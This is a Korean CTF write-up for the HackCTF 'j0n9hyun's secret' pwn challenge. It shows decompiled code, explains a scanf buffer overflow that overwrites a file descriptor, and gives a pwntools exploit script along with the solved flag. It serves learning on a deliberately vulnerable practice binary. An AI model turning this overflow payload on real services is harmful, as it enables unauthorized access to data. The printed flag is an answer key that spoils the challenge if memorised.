-
j0n9hyun's secretCTF/HackCTF 2021. 2. 7. 21:12
Disassembly 디스어셈블리
undefined8 main() { setvbuf(*(int64_t *)0x6ca748, 0, 2, 0); setvbuf(*(int64_t *)0x6ca740, 0, 2, 0); setvbuf(*(int64_t *)0x6ca738, 0, 2, 0); iVar2 = 0x72; *(undefined4 *)0x6cce98 = open("top_secret"); iVar2 = printf("input name: "); scanf("%s", 0x6ccd60); iVar1 = read(*(undefined4 *)0x6cce98, 0x6ccd6a, 300); write(1, 0x6ccd6a, (int64_t)iVar1); return 0; }
main은 top_secret이라는 이름의 파일에서 정보를 읽어와 출력한다.
바이너리를 로컬에서 실행하면 다음과 같은 파일이 생성된다.
void fcn.004009ae(void) { open("flag", 'r'); return; }
크로스 레퍼런스를 통해 살펴보면 프로세스를 시작할 때 flag를 여는 함수가 실행되는 것을 알 수 있다.
Buffer Overflow
scanf에서 버퍼 오버플로우가 발생하는 것을 이용하자. read의 첫 번째 인자를 시작할 때 열린 flag의 fd인 3으로 덮어쓰면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./j0n9hyun_secret" server = "ctf.j0n9hyun.xyz" port = 3031 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = process(binary) gdb.attach(p) e = ELF(binary) r = ROP(e) e.checksec() payload = b"\x90"*0x138 payload += p8(3) p.sendline(payload) p.interactive()
Flag
HackCTF{ez_fd_0v4rwr1t4}
'CTF > HackCTF' 카테고리의 다른 글
UAF (0) 2021.02.09 Beginner_Heap (0) 2021.02.09 SysROP (0) 2021.02.05 Pwning (0) 2021.02.05 Unexploitable #3 (0) 2021.02.05